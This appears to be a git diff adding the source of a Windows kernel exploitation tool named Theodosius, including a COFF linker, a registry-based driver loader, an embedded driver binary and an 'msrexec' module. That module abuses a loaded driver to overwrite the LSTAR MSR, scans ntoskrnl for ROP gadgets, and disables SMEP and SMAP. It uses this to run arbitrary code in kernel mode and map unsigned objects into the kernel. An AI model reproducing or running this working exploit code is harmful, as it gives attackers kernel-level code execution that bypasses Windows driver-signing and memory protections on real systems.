buffer is partially filled, the writes may be delayed until the next + * occurrence of a serializing event; such as, an SFENCE or MFENCE instruction, CPUID execution, a read or write to + * uncached memory, an interrupt occurrence, or a LOCK instruction execution. This type of cache-control is appropriate for + * video frame buffers, where the order of writes is unimportant as long as the writes update memory so they can be seen on + * the graphics display. This memory type is available in the Pentium Pro and Pentium II processors by programming the + * MTRRs; or in processor families starting from the Pentium III processors by programming the MTRRs or by selecting it + * through the PAT. + * + * @see Vol3A[11.3.1(Buffering of Write Combining Memory Locations)] + */ +#define MEMORY_TYPE_WRITE_COMBINING 0x00000001 + + /** + * @brief Write-through (WT) + * + * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause + * cache fills. Speculative reads are allowed. All writes are written to a cache line (when possible) and through to system + * memory. When writing through to memory, invalid cache lines are never filled, and valid cache lines are either filled or + * invalidated. Write combining is allowed. This type of cache-control is appropriate for frame buffers or when there are + * devices on the system bus that access system memory, but do not perform snooping of memory accesses. It enforces + * coherency between caches in the processors and system memory. + */ +#define MEMORY_TYPE_WRITE_THROUGH 0x00000004 + + /** + * @brief Write protected (WP) + * + * Reads come from cache lines when possible, and read misses cause cache fills. Writes are propagated to the system bus + * and cause corresponding cache lines on all processors on the bus to be invalidated. Speculative reads are allowed. This + * memory type is available in processor families starting from the P6 family processors by programming the MTRRs. + */ +#define MEMORY_TYPE_WRITE_PROTECTED 0x00000005 + + /** + * @brief Write-back (WB) + * + * Writes and reads to and from system memory are cached. Reads come from cache lines on cache hits; read misses cause + * cache fills. Speculative reads are allowed. Write misses cause cache line fills (in processor families starting with the + * P6 family processors), and writes are performed entirely in the cache, when possible. Write combining is allowed. The + * write-back memory type reduces bus traffic by eliminating many unnecessary writes to system memory. Writes to a cache + * line are not immediately forwarded to system memory; instead, they are accumulated in the cache. The modified cache + * lines are written to system memory later, when a write-back operation is performed. Write-back operations are triggered + * when cache lines need to be deallocated, such as when new cache lines are being allocated in a cache that is already + * full. They also are triggered by the mechanisms used to maintain cache consistency. This type of cache-control provides + * the best performance, but it requires that all devices that access system memory on the system bus be able to snoop + * memory accesses to insure system memory and cache coherency. + */ +#define MEMORY_TYPE_WRITE_BACK 0x00000006 + + /** + * @brief Uncacheable (UC-) + * + * Has same characteristics as the strong uncacheable (UC) memory type, except that this memory type can be overridden by + * programming the MTRRs for the WC memory type. This memory type is available in processor families starting from the + * Pentium III processors and can only be selected through the PAT. + */ +#define MEMORY_TYPE_UNCACHEABLE_MINUS 0x00000007 +#define MEMORY_TYPE_INVALID 0x000000FF + /** + * @} + */ + + /** + * @} + */ + diff --git a/Theodosius/linker/linker.cpp b/Theodosius/linker/linker.cpp new file mode 100644 index 0000000..fc3f285 --- /dev/null +++ b/Theodosius/linker/linker.cpp @@ -0,0 +1,197 @@ +#include "linker.hpp" + +namespace lnk +{ + auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + const auto symbol_table = + reinterpret_cast( + coff_header->PointerToSymbolTable + obj.data()); + + std::uint32_t result = + section_headers[sym.section_number - 1].SizeOfRawData; + + // loop over all symbols in this object... + // find the next symbol inside of the same section... + for (auto idx = 0u; idx < coff_header->NumberOfSymbols; ++idx) + if (symbol_table[idx].SectionNumber == sym.section_number) + if (symbol_table[idx].Value > sym.section_offset && symbol_table[idx].Value < result) + result = symbol_table[idx].Value; + + return result - sym.section_offset; + } + + namespace section + { + auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx) + if (!strncmp((char*)section_headers[idx].Name, section_name, strlen(section_name) - 1)) + return section_headers + idx; + + return {}; + } + + auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx) + if (!callback(section_headers + idx, obj)) + break; + } + } + + namespace sym + { + auto get_relocs(obj_buffer_t& obj) -> std::vector + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + const auto symbol_table = + reinterpret_cast( + coff_header->PointerToSymbolTable + obj.data()); + + const auto string_table = + reinterpret_cast( + reinterpret_cast(symbol_table) + + (coff_header->NumberOfSymbols * sizeof IMAGE_SYMBOL)); + + std::vector result; + for (auto idx = 0u; idx < coff_header->NumberOfSections; ++idx) + { + if (section_headers[idx].PointerToRelocations) + { + // for some reason the compiler makes some empty sections... + if (!section_headers[idx].SizeOfRawData) + continue; + + // skip over sections that we will not be using... + if (section_headers[idx].Characteristics & IMAGE_SCN_LNK_REMOVE) + continue; + + // skip over discardable sections... + if (section_headers[idx].Characteristics & IMAGE_SCN_MEM_DISCARDABLE) + continue; + + // skip both the .pdata and the .xdata sections... these are used for exceptions... + if (!strncmp((char*)section_headers[idx].Name, ".pdata", strlen(".pdata") - 1)) + continue; + + if (!strncmp((char*)section_headers[idx].Name, ".xdata", strlen(".xdata") - 1)) + continue; + + const auto reloc_dir = + reinterpret_cast( + section_headers[idx].PointerToRelocations + obj.data()); + + for (auto reloc_idx = 0u; reloc_idx < + section_headers[idx].NumberOfRelocations; ++reloc_idx) + { + image_reloc_t entry; + entry.file_offset = + reloc_dir[reloc_idx].VirtualAddress + + section_headers[idx].PointerToRawData; + + if (symbol_table[reloc_dir[reloc_idx].SymbolTableIndex].N.Name.Short) + entry.resolve_symbol_name = + std::string((char*)symbol_table[reloc_dir[ + reloc_idx].SymbolTableIndex].N.ShortName); + else + entry.resolve_symbol_name = std::string( + string_table + symbol_table[reloc_dir[ + reloc_idx].SymbolTableIndex].N.Name.Long); + + entry.type = reloc_dir[reloc_idx].Type; + result.push_back(entry); + } + } + } + return result; + } + + auto get_all(obj_buffer_t& obj) -> std::vector + { + const auto coff_header = + reinterpret_cast(obj.data()); + + const auto section_headers = + reinterpret_cast( + obj.data() + sizeof IMAGE_FILE_HEADER); + + const auto symbol_table = + reinterpret_cast( + coff_header->PointerToSymbolTable + obj.data()); + + const auto string_table = + reinterpret_cast( + reinterpret_cast(symbol_table) + + (coff_header->NumberOfSymbols * sizeof IMAGE_SYMBOL)); + + std::vector result; + for (auto idx = 0u; idx < coff_header->NumberOfSymbols; ++idx) + { + // skip section symbols... we only want + // .data, .rdata, and executable (function) symbols... + if (symbol_table[idx].StorageClass != IMAGE_SYM_CLASS_EXTERNAL + || !symbol_table[idx].SectionNumber) + { + if (symbol_table[idx].NumberOfAuxSymbols) + idx += symbol_table[idx].NumberOfAuxSymbols; + + continue; + } + + symbol_t symbol; + if (symbol_table[idx].N.Name.Short) + symbol.symbol_name = + std::string((char*)symbol_table[idx].N.ShortName); + else + symbol.symbol_name = + std::string(string_table + + symbol_table[idx].N.Name.Long); + + if (symbol_table[idx].NumberOfAuxSymbols) + ++idx; + + symbol.file_offset = section_headers[symbol_table[ + idx].SectionNumber - 1].PointerToRawData + symbol_table[idx].Value; + + symbol.section_number = symbol_table[idx].SectionNumber; + symbol.section_offset = symbol_table[idx].Value; + symbol.type = symbol_table[idx].Type; + symbol.size = get_symbol_size(symbol, obj); + + if (symbol_table[idx].NumberOfAuxSymbols) + idx += symbol_table[idx].NumberOfAuxSymbols; + + result.push_back(symbol); + } + return result; + } + } +} \ No newline at end of file diff --git a/Theodosius/linker/linker.hpp b/Theodosius/linker/linker.hpp new file mode 100644 index 0000000..2b13564 --- /dev/null +++ b/Theodosius/linker/linker.hpp @@ -0,0 +1,63 @@ +#pragma once +#include +#include +#include +#include + +namespace lnk +{ + struct symbol_t + { + // name of the symbol... not mangled... + std::string symbol_name; + + // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-representation + std::uint32_t type; + + // what section this symbol is in... + std::uint32_t section_number; + + // offset into section... + std::uint32_t section_offset; + + // file offset into OBJ file... + std::uint32_t file_offset; + + // virtual address of symbol once mapped into memory... + std::uintptr_t virt_addr; + + // only used by functions... size in bytes of routine... + std::uint32_t size; + }; + + // redef of IMAGE_RELOCATION so that "VirtualAddress" + // will actually be a file offset instead of a section offset... + struct image_reloc_t + { + // name of the symbol to be resolved for example "ExAllocatePool"... + std::string resolve_symbol_name; + + // offset into the obj file where the resolving needs to be done... + std::uint32_t file_offset; + + // type of data that needs to be resolved... this will be 64bit addresses... + // https://docs.microsoft.com/en-us/windows/win32/debug/pe-format#type-indicators + std::uint16_t type; + }; + + using obj_buffer_t = std::vector; + auto get_symbol_size(symbol_t& sym, obj_buffer_t& obj) -> std::uint32_t; + + namespace sym + { + auto get_all(obj_buffer_t& obj) -> std::vector; + auto get_relocs(obj_buffer_t& obj)->std::vector; + } + + namespace section + { + using section_callback_t = std::function; + auto get_header(obj_buffer_t& obj, const char* section_name) -> PIMAGE_SECTION_HEADER; + auto for_each(section_callback_t callback, obj_buffer_t& obj) -> void; + } +} \ No newline at end of file diff --git a/Theodosius/loadup.hpp b/Theodosius/loadup.hpp new file mode 100644 index 0000000..d20246b --- /dev/null +++ b/Theodosius/loadup.hpp @@ -0,0 +1,263 @@ +/* + MIT License + + Copyright (c) 2020 xerox + + Permission is hereby granted, free of charge, to any person obtaining a copy + of this software and associated documentation files (the "Software"), to deal + in the Software without restriction, including without limitation the rights + to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + copies of the Software, and to permit persons to whom the Software is + furnished to do so, subject to the following conditions: + + The above copyright notice and this permission notice shall be included in all + copies or substantial portions of the Software. + + THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE + SOFTWARE. +*/ + + +#pragma once +#include +#include +#include +#include +#include +#include +#include + +#pragma comment(lib, "ntdll.lib") +extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING); +extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING); + +namespace driver +{ + namespace util + { + inline auto delete_service_entry(const std::string& service_name) -> bool + { + HKEY reg_handle; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) && + ERROR_SUCCESS == RegCloseKey(reg_handle);; + } + + inline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool + { + HKEY reg_handle; + std::string reg_key("System\\CurrentControlSet\\Services\\"); + reg_key += service_name; + + auto result = RegCreateKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t type_value = 1; + result = RegSetValueExA( + reg_handle, + "Type", + NULL, + REG_DWORD, + &type_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t error_control_value = 3; + result = RegSetValueExA( + reg_handle, + "ErrorControl", + NULL, + REG_DWORD, + &error_control_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + std::uint8_t start_value = 3; + result = RegSetValueExA( + reg_handle, + "Start", + NULL, + REG_DWORD, + &start_value, + 4u + ); + + if (result != ERROR_SUCCESS) + return false; + + result = RegSetValueExA( + reg_handle, + "ImagePath", + NULL, + REG_SZ, + (std::uint8_t*)drv_path.c_str(), + drv_path.size() + ); + + if (result != ERROR_SUCCESS) + return false; + + return ERROR_SUCCESS == RegCloseKey(reg_handle); + } + + inline auto enable_privilege(const std::wstring& privilege_name) -> bool + { + HANDLE token_handle = nullptr; + if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle)) + return false; + + LUID luid{}; + if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid)) + return false; + + TOKEN_PRIVILEGES token_state{}; + token_state.PrivilegeCount = 1; + token_state.Privileges[0].Luid = luid; + token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; + + if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr)) + return false; + + CloseHandle(token_handle); + return true; + } + + inline auto get_service_image_path(const std::string& service_name) -> std::string + { + HKEY reg_handle; + DWORD bytes_read; + char image_path[0xFF]; + static const std::string reg_key("System\\CurrentControlSet\\Services\\"); + + auto result = RegOpenKeyA( + HKEY_LOCAL_MACHINE, + reg_key.c_str(), + ®_handle + ); + + result = RegGetValueA( + reg_handle, + service_name.c_str(), + "ImagePath", + REG_SZ, + NULL, + image_path, + &bytes_read + ); + + RegCloseKey(reg_handle); + return std::string(image_path); + } + } + + inline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS + { + if (!util::enable_privilege(L"SeLoadDriverPrivilege")) + return false; + + if (!util::create_service_entry("\\??\\" + + std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name)) + return false; + + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true); + return NtLoadDriver(&driver_reg_path_unicode); + } + + inline auto load(const std::vector& drv_buffer) -> std::pair + { + static const auto random_file_name = [](std::size_t length) -> std::string + { + std::srand(std::time(0)); + static const auto randchar = []() -> char + { + const char charset[] = + "0123456789" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ" + "abcdefghijklmnopqrstuvwxyz"; + const std::size_t max_index = (sizeof(charset) - 1); + return charset[rand() % max_index]; + }; + + std::string str(length, 0); + std::generate_n(str.begin(), length, randchar); + return str; + }; + + const auto service_name = random_file_name(16); + const auto file_path = std::filesystem::temp_directory_path().string() + service_name; + std::ofstream output_file(file_path.c_str(), std::ios::binary); + + output_file.write((char*)drv_buffer.data(), drv_buffer.size()); + output_file.close(); + + return { load(file_path, service_name), service_name }; + } + + inline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair + { + std::vector image(buffer, buffer + size); + return load(image); + } + + inline auto unload(const std::string& service_name) -> NTSTATUS + { + std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\"); + reg_path += service_name; + + ANSI_STRING driver_rep_path_cstr; + UNICODE_STRING driver_reg_path_unicode; + + RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str()); + RtlAnsiStringToUnicodeString( + &driver_reg_path_unicode, &driver_rep_path_cstr, true); + + const bool unload_result = + NtUnloadDriver(&driver_reg_path_unicode); + + util::delete_service_entry(service_name); + // sometimes you cannot delete the driver off disk because there are still handles open + // to the driver, this means the driver is still loaded into the kernel... + try + { + std::filesystem::remove( + std::filesystem::temp_directory_path() + .string() + service_name); + } + catch (std::exception& e) + { + return STATUS_ABANDONED; + } + return unload_result; + } +} \ No newline at end of file diff --git a/Theodosius/main.cpp b/Theodosius/main.cpp new file mode 100644 index 0000000..901f7d9 --- /dev/null +++ b/Theodosius/main.cpp @@ -0,0 +1,98 @@ +#include +#include + +#include "vdm.hpp" +#include "msrexec.hpp" +#include "hmdm_ctx.h" + +namespace fs = std::filesystem; +int main(int argc, char** argv) +{ + if (argc < 2) + { + std::printf("> please provide a folder of objs to be linked...\n"); + return -1; + } + + // read each .obj file from directory into std::vector... + std::vector image_objs; + for (auto& file : fs::recursive_directory_iterator(argv[1])) + { + if (!strcmp(file.path().extension().string().c_str(), ".obj")) + { + lnk::obj_buffer_t obj_buffer; + utils::open_binary_file(file.path().string(), obj_buffer); + image_objs.push_back(obj_buffer); + } + } + + std::printf("> number of objs = %d\n", image_objs.size()); + const auto [drv_handle, drv_key, drv_status] = vdm::load_drv(); + if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE) + { + std::printf("> failed to load driver... reason -> 0x%x\n", drv_status); + return -1; + } + + writemsr_t _write_msr = + [&](std::uint32_t key, std::uint64_t value) -> bool + { + return vdm::writemsr(key, value); + }; + + vdm::msrexec_ctx msrexec(_write_msr); + drv::kalloc_t _kalloc = [&](std::size_t size) -> void* + { + void* alloc_base; + msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void + { + using ex_alloc_pool_t = + void* (*)(std::uint32_t, std::size_t); + + const auto ex_alloc_pool = + reinterpret_cast( + get_kroutine(krnl_base, "ExAllocatePool")); + + alloc_base = ex_alloc_pool(NULL, size); + }); + return alloc_base; + }; + + drv::kmemcpy_t _kmemcpy = + [&](void* dest, const void* src, std::size_t size) -> void* + { + void* result = nullptr; + msrexec.exec([&](void* krnl_base, get_system_routine_t get_kroutine) -> void + { + const auto kmemcpy = + reinterpret_cast( + get_kroutine(krnl_base, "memcpy")); + + result = kmemcpy(dest, src, size); + }); + return result; + }; + + drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy }); + const auto drv_entry = drv_mapper.map_objs(image_objs); + + std::printf("\n\n> driver entry -> 0x%p\n", drv_entry); + std::getchar(); + + int result; + msrexec.exec([&result, drv_entry = drv_entry] + (void* krnl_base, get_system_routine_t get_kroutine) -> void + { + using drv_entry_t = int(*)(); + result = reinterpret_cast(drv_entry)(); + }); + + const auto unload_status = vdm::unload_drv(drv_handle, drv_key); + if (unload_status != STATUS_SUCCESS) + { + std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status); + return -1; + } + std::printf("> press enter to close...\n"); + std::getchar(); +} \ No newline at end of file diff --git a/Theodosius/msrexec.cpp b/Theodosius/msrexec.cpp new file mode 100644 index 0000000..4aab5b5 --- /dev/null +++ b/Theodosius/msrexec.cpp @@ -0,0 +1,208 @@ +#include "msrexec.hpp" + +void msrexec_handler(callback_t* callback) +{ + // restore LSTAR.... + __writemsr(IA32_LSTAR_MSR, m_system_call); + + // call usermode code... + (*callback)(ntoskrnl_base, get_system_routine); +} + +namespace vdm +{ + msrexec_ctx::msrexec_ctx(writemsr_t wrmsr) + : wrmsr(wrmsr) + { + if (!m_mov_cr4_gadget || !m_sysret_gadget || !m_pop_rcx_gadget) + if (!find_gadgets()) + DBG_PRINT("> failed to find gadgets...\n"); + + if (!m_kpcr_rsp_offset || !m_kpcr_krsp_offset || !m_system_call) + if (!find_globals()) + DBG_PRINT("> failed to find globals...\n"); + + cpuid_eax_01 cpuid_info; + __cpuid((int*)&cpuid_info, 1); + + cpuid_eax_07 cpuid_features; + __cpuid((int*)&cpuid_features, 7); + + cr4 cr4_value{}; + cr4_value.debugging_extensions = true; + cr4_value.page_size_extensions = true; + cr4_value.machine_check_enable = true; + + cr4_value.physical_address_extension = + cpuid_info.cpuid_feature_information_edx.physical_address_extension; + + cr4_value.os_fxsave_fxrstor_support = + cpuid_info.cpuid_feature_information_edx.fxsave_fxrstor_instructions; + + cr4_value.os_xmm_exception_support = true; + + cr4_value.fsgsbase_enable = + IsProcessorFeaturePresent(PF_RDWRFSGSBASE_AVAILABLE); + + cr4_value.os_xsave = + IsProcessorFeaturePresent(PF_XSAVE_ENABLED); + + cr4_value.pcid_enable = + cpuid_info.cpuid_feature_information_ecx + .process_context_identifiers; + + m_smep_off.flags = cr4_value.flags; + m_smep_off.smep_enable = false; + m_smep_off.smap_enable = false; // newer cpus have this on... + + // WARNING: some virtual machines dont have SMEP... + // my VMWare VM doesnt... nor does my Virtual Box VM... + m_smep_on.flags = cr4_value.flags; + m_smep_on.smep_enable = cpuid_features.ebx.smep; + m_smep_on.smap_enable = cpuid_features.ebx.smap; + + ntoskrnl_base = + reinterpret_cast( + utils::kmodule::get_base("ntoskrnl.exe")); + + get_system_routine = + reinterpret_cast( + utils::kmodule::get_export( + "ntoskrnl.exe", "RtlFindExportedRoutineByName")); + + DBG_PRINT("> m_pop_rcx_gadget -> 0x%p\n", m_pop_rcx_gadget); + DBG_PRINT("> m_mov_cr4_gadget -> 0x%p\n", m_mov_cr4_gadget); + DBG_PRINT("> m_sysret_gadget -> 0x%p\n", m_sysret_gadget); + DBG_PRINT("> m_kpcr_rsp_offset -> 0x%x\n", m_kpcr_rsp_offset); + DBG_PRINT("> m_kpcr_krsp_offset -> 0x%x\n", m_kpcr_krsp_offset); + DBG_PRINT("> m_system_call -> 0x%p\n", m_system_call); + + DBG_PRINT("> m_smep_off -> 0x%p\n", m_smep_off.flags); + DBG_PRINT("> m_smep_on -> 0x%p\n", m_smep_on.flags); + + DBG_PRINT("> check to make sure none of these^ are zero before pressing enter...\n"); + std::getchar(); + } + + auto msrexec_ctx::find_gadgets() -> bool + { + m_mov_cr4_gadget = + utils::rop::find_kgadget( + MOV_CR4_GADGET, "xxxx"); + + if (!m_mov_cr4_gadget) + return {}; + + m_sysret_gadget = + utils::rop::find_kgadget( + SYSRET_GADGET, "xxx"); + + if (!m_sysret_gadget) + return {}; + + m_pop_rcx_gadget = + utils::rop::find_kgadget( + POP_RCX_GADGET, "xx"); + + if (!m_pop_rcx_gadget) + return {}; + + return true; + } + + auto msrexec_ctx::find_globals() -> bool + { + const auto [section_data, section_rva] = + utils::pe::get_section( + reinterpret_cast( + LoadLibraryA("ntoskrnl.exe")), ".text"); + + const auto ki_system_call = + utils::scan(reinterpret_cast( + section_data.data()), section_data.size(), + KI_SYSCALL_SIG, KI_SYSCALL_MASK); + + if (!ki_system_call) + return {}; + + m_system_call = (ki_system_call - + reinterpret_cast( + section_data.data())) + section_rva + + utils::kmodule::get_base("ntoskrnl.exe"); + + /* + .text:0000000140406CC0 KiSystemCall64 + .text:0000000140406CC0 0F 01 F8 swapgs + .text:0000000140406CC3 65 48 89 24 25 10 00 00 00 mov gs:10h, rsp <====== + 8 bytes for gs offset... + .text:0000000140406CCC 65 48 8B 24 25 A8 01 00 00 mov rsp, gs:1A8h <======= + 17 bytes for gs offset... + */ + + m_kpcr_rsp_offset = *reinterpret_cast(ki_system_call + 8); + m_kpcr_krsp_offset = *reinterpret_cast(ki_system_call + 17); + + // handle KVA shadowing... if KVA shadowing is + // enabled LSTAR will point at KiSystemCall64Shadow... + SYSTEM_KERNEL_VA_SHADOW_INFORMATION kva_info = { 0 }; + + // if SystemKernelVaShadowInformation is not a valid class just + // return true and assume LSTAR points to KiSystemCall64... + if (NT_SUCCESS(NtQuerySystemInformation(SystemKernelVaShadowInformation, &kva_info, sizeof(kva_info), nullptr))) + { + if (kva_info.KvaShadowFlags.KvaShadowEnabled) + { + const auto [section_data, section_rva] = + utils::pe::get_section( + reinterpret_cast( + LoadLibraryA("ntoskrnl.exe")), "KVASCODE"); + + // no KVASCODE section so there is no way for LSTAR to be KiSystemCall64Shadow... + if (!section_rva || section_data.empty()) + return true; + + const auto ki_system_shadow_call = + utils::scan(reinterpret_cast( + section_data.data()), section_data.size(), + KI_SYSCALL_SHADOW_SIG, KI_SYSCALL_SHADOW_MASK); + + // already set m_syscall_call so we just return true... + if (!ki_system_shadow_call) + return true; + + // else we update m_system_call with KiSystemCall64Shadow... + m_system_call = (ki_system_shadow_call - + reinterpret_cast( + section_data.data())) + section_rva + + utils::kmodule::get_base("ntoskrnl.exe"); + } + } + return true; + } + + void msrexec_ctx::exec(callback_t kernel_callback) + { + const thread_info_t thread_info = + { + GetPriorityClass(GetCurrentProcess()), + GetThreadPriority(GetCurrentThread()) + }; + + SetPriorityClass(GetCurrentProcess(), REALTIME_PRIORITY_CLASS); + SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL); + + // set LSTAR to first rop gadget... race begins here... + if (!wrmsr(IA32_LSTAR_MSR, m_pop_rcx_gadget)) + DBG_PRINT("> failed to set LSTAR...\n"); + else + // go go gadget kernel execution... + syscall_wrapper(&kernel_callback); + + SetPriorityClass(GetCurrentProcess(), thread_info.first); + SetThreadPriority(GetCurrentThread(), thread_info.second); + } + + void msrexec_ctx::set_wrmsr(writemsr_t wrmsr) + { this->wrmsr = wrmsr; } + + auto msrexec_ctx::get_wrmsr() -> writemsr_t const + { return this->wrmsr; } +} \ No newline at end of file diff --git a/Theodosius/msrexec.hpp b/Theodosius/msrexec.hpp new file mode 100644 index 0000000..2c68f05 --- /dev/null +++ b/Theodosius/msrexec.hpp @@ -0,0 +1,43 @@ +#pragma once +#include "utils.hpp" +#include "syscall_handler.h" +#include + +#define IA32_LSTAR_MSR 0xC0000082 +#define MOV_CR4_GADGET "\x0F\x22\xE1\xC3" +#define POP_RCX_GADGET "\x59\xc3" +#define SYSRET_GADGET "\x48\x0F\x07" + +// not sure how far back this signature goes... works on 1507 though.... +#define KI_SYSCALL_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x6A\x2B\x65\xFF\x34\x25\x00\x00\x00\x00\x41\x53\x6A\x00\x51\x49\x8B\xCA" +#define KI_SYSCALL_MASK "xxxxxxxx????xxxxx????xxxxxx????xxx?xxxx" +static_assert(sizeof KI_SYSCALL_SIG == sizeof KI_SYSCALL_MASK, "signature/mask invalid size..."); + +#define KI_SYSCALL_SHADOW_SIG "\x0F\x01\xF8\x65\x48\x89\x24\x25\x00\x00\x00\x00\x65\x48\x8B\x24\x25\x00\x00\x00\x00\x65\x0F\xBA\x24\x25\x00\x00\x00\x00\x00\x72\x03\x0F\x22\xDC" +#define KI_SYSCALL_SHADOW_MASK "xxxxxxxx????xxxxx????xxxxx?????xxxxx" +static_assert(sizeof KI_SYSCALL_SHADOW_SIG == sizeof KI_SYSCALL_SHADOW_MASK); + +using get_system_routine_t = void* (*)(void*, const char*); +using callback_t = std::function; +using thread_info_t = std::pair; +using writemsr_t = std::function; + +extern "C" void msrexec_handler(callback_t* callback); +inline get_system_routine_t get_system_routine = nullptr; +inline void* ntoskrnl_base = nullptr; + +namespace vdm +{ + class msrexec_ctx + { + public: + explicit msrexec_ctx(writemsr_t wrmsr); + void exec(callback_t kernel_callback); + void set_wrmsr(writemsr_t wrmsr); + auto get_wrmsr() -> writemsr_t const; + private: + auto find_gadgets() -> bool; + auto find_globals() -> bool; + writemsr_t wrmsr; + }; +} \ No newline at end of file diff --git a/Theodosius/raw_driver.hpp b/Theodosius/raw_driver.hpp new file mode 100644 index 0000000..fee21a0 --- /dev/null +++ b/Theodosius/raw_driver.hpp @@ -0,0 +1,1730 @@ +#pragma once + +inline unsigned char raw_driver[] = +{ + 0x4D, 0x5A, 0x90, 0x00, 0x03, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, + 0xFF, 0xFF, 0x00, 0x00, 0xB8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x00, 0x00, 0x00, 0x0E, 0x1F, 0xBA, 0x0E, 0x00, 0xB4, 0x09, 0xCD, + 0x21, 0xB8, 0x01, 0x4C, 0xCD, 0x21, 0x54, 0x68, 0x69, 0x73, 0x20, 0x70, + 0x72, 0x6F, 0x67, 0x72, 0x61, 0x6D, 0x20, 0x63, 0x61, 0x6E, 0x6E, 0x6F, + 0x74, 0x20, 0x62, 0x65, 0x20, 0x72, 0x75, 0x6E, 0x20, 0x69, 0x6E, 0x20, + 0x44, 0x4F, 0x53, 0x20, 0x6D, 0x6F, 0x64, 0x65, 0x2E, 0x0D, 0x0D, 0x0A, + 0x24, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAB, 0xD8, 0x5C, 0x84, + 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, 0xEF, 0xB9, 0x32, 0xD7, + 0xEF, 0xB9, 0x33, 0xD7, 0xF1, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x33, 0xD6, + 0xEA, 0xB9, 0x32, 0xD7, 0x8A, 0xDF, 0x36, 0xD6, 0xEA, 0xB9, 0x32, 0xD7, + 0x8A, 0xDF, 0x31, 0xD6, 0xEC, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0x37, 0xD6, + 0xEE, 0xB9, 0x32, 0xD7, 0x7E, 0xD0, 0xCD, 0xD7, 0xEE, 0xB9, 0x32, 0xD7, + 0x7E, 0xD0, 0x30, 0xD6, 0xEE, 0xB9, 0x32, 0xD7, 0x52, 0x69, 0x63, 0x68, + 0xEF, 0xB9, 0x32, 0xD7, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x50, 0x45, 0x00, 0x00, + 0x64, 0x86, 0x07, 0x00, 0x7A, 0x77, 0xB7, 0x5D, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF0, 0x00, 